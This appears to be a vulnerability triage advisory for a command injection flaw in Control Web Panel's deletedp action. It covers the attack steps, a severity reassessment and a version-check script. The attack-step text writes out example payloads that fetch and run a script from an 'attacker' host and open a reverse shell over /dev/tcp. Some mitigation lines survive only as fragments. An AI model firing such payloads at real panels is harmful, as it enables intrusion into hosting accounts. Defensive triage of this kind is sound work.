A hosting panel that hands the shell a user-supplied filename and asks it to delete a directory
Control Web Panel (CWP) before 1.16 contains CWE-78 OS command injection in the protected_directory user panel module. The acc=deletedp action takes the file POST parameter and passes it unescaped into a shell_exec call, so an attacker can append shell metacharacters such as ; id or $(curl http://attacker/payload|bash) and execute commands under the hosting account's OS identity. This is available on the user panel, typically TCP 2083.
Vendor severity of CRITICAL 9.8 assumes unauthenticated network attack, but the module relies on CWP's dispatcher authentication. Standalone, an attacker needs a valid user-panel account, or the target must also be exposed to the pre-auth dispatch flaws CVE-2026-73695/73696. No public exploit or in-the-wild activity is reported, and EPSS is only 2.2%, so the 9.8 is one notch too high for this isolated CVE unless your deployment exposes user-panel endpoints to untrusted tenants.
4 steps from start to impact.
Reach the CWP user panel
- CWP user panel port 2083 reachable from attacker position
- Target running CWP <1.16
- Not all CWP instances are internet-exposed; many are restricted to localhost or trusted IPs
- Panel may sit behind a VPN or perimeter firewall
Authenticate to the user panel or ride a pre-auth dispatcher flaw
- Valid user-panel account (low-privilege tenant)
- OR target also affected by CVE-2026-73695/73696 for unauth dispatch
- Single-admin CWP deployments have no untrusted user accounts; attacker must steal the admin password
- MFA/IP allowlisting on portal blocks credential stuffing but not a legitimate malicious tenant
Submit malicious file parameter in acc=deletedp
acc=deletedp with file set to something like ; bash -i >& /dev/tcp/attacker/443 or ; curl http://attacker/payload|bash. The application concatenates the parameter into a shell command without escaping.- CWP <1.16 code path reached
- Attacker can craft arbitrary POST body; any CSRF token must be valid
- A WAF or mod_security may catch shell metacharacters but bypasses are common
- The action may require an existing protected directory entry; attacker can create one first if needed
;, $(), backticks.Execute OS commands as hosting account
- No OS-level sandbox restricting hosting account
- shell_exec not disabled
- Command execution is non-root; cross-tenant access requires a second priv-esc bug
- Hosting account might be a low-value static site
;, $(), backticks; use WAF/mod_security, EDR and CWP access logs. Does not prevent exploitation but shortens response.- CSRF tokens: an authenticated attacker can fetch a valid token and submit the POST just like the UI.
- mod_security generic command injection rules: often evaded by encoding/concatenation; not sufficient alone.
- chroot/suexec for PHP: the vulnerability is in CWP's own code calling shell_exec; unless shell_exec is disabled for the hosting account, chroot may not block arbitrary command execution.
The supporting signals.
| In-the-wild status | None reported; no known campaigns or KEV listing as of 2026-11-02 |
|---|---|
| Proof-of-concept availability | No public exploit, no GitHub repos named after the CVE, no ExploitDB/nuclei template seen in consulted sources |
| EPSS | 0.02158 (2.2%), 82nd percentile — low predicted exploitation |
| KEV status | Not listed in CISA KEV (as of 2026-11-02) |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — PR:N implies no privileges, but the module ordinarily requires a user-panel session |
| Affected versions | Control Web Panel < 1.16 |
| Patch/fixed version | Upgrade to CWP 1.16 or later |
| Exposure | CWP user panel commonly on TCP 2083; no Shodan/Censys count in provided data, but CWP panels are historically internet-exposed |
| Disclosure/reporting | Disclosed 2026-11-02; CVE assigned by VulnCheck CNA; no individual researcher named in consulted sources |
Sources.
Why this verdict
- Attack prerequisite: Standalone exploitation requires a valid CWP user-panel session; the endpoint is normally behind the dispatcher's authentication. That's a low-privileged remote attacker, not an anonymous internet attacker — one major step down from the 9.8 CRITICAL baseline.
- Blast radius: The command executes as the hosting account OS identity, not the CWP root/admin service. On its own it does not achieve root, domain, or fleet-wide compromise.
- Role multiplier: Typical single-admin CWP is a single-host compromise; in shared-hosting multi-tenant CWP it breaks tenant isolation for any account that can log into user panel. The worst plausible outcome is tenant-level data egress/website takeover, not domain/fleet/supply chain, so the floor stays below CRITICAL, but the affected role is internet-facing, which keeps it HIGH.
- Friction adjustments: Starting from the 9.8 vendor baseline, subtract for the authentication requirement and non-root context, add back for trivial command injection and internet exposure. No public PoC, no observed in-the-wild exploitation, EPSS 2.2%, and not KEV-listed dampen urgency but not severity.
Why not higher?
Not CRITICAL because this CVE does not by itself provide unauthenticated access or root/domain-equivalent impact. The command injection runs under the hosting account identity, and reaching it normally requires a valid user-panel session. No active exploitation or public weaponization is known, so a 3-day CRITICAL SLA would over-react unless your CWP instance is known to be affected by CVE-2026-73695/73696.
Why not lower?
Not MEDIUM because CWP user panel is an internet-facing control plane in many deployments, and the injection is a direct, low-complexity shell_exec after authentication. In shared hosting environments, any low-privilege tenant can use this to break isolation, steal site data, or pivot with a second priv-esc bug.
Crowdsourced verification payload.
Run on the CWP host as root or a user with read access to /usr/local/cwpsrv. Invoke: bash cve-2026-77876-check.sh; no arguments needed. It checks CWP version and exits 0=PATCHED, 1=VULNERABLE, 3=UNKNOWN.
#!/usr/bin/env bash
# CVE-2026-77876 check for Control Web Panel
# Run on the CWP host; requires read access to /usr/local/cwpsrv.
set -u
version=""
for f in /usr/local/cwpsrv/version /usr/local/cwpsrv/var/version /usr/local/cwpsrv/version.txt; do
if [ -r "$f" ]; then
version=$(grep -Eo '[0-9]+\.[0-9]+(\.[0-9]+)?' "$f" | head -n1)
[ -n "$version" ] && break
fi
done
if [ -z "$version" ]; then
echo "UNKNOWN: could not determine CWP version"
exit 3
fi
if printf '%s\n' "$version" "1.16" | sort -V | head -n1 | grep -q '^1\.16$'; then
echo "PATCHED: CWP version $version"
exit 0
else
echo "VULNERABLE: CWP version $version"
exit 1
fi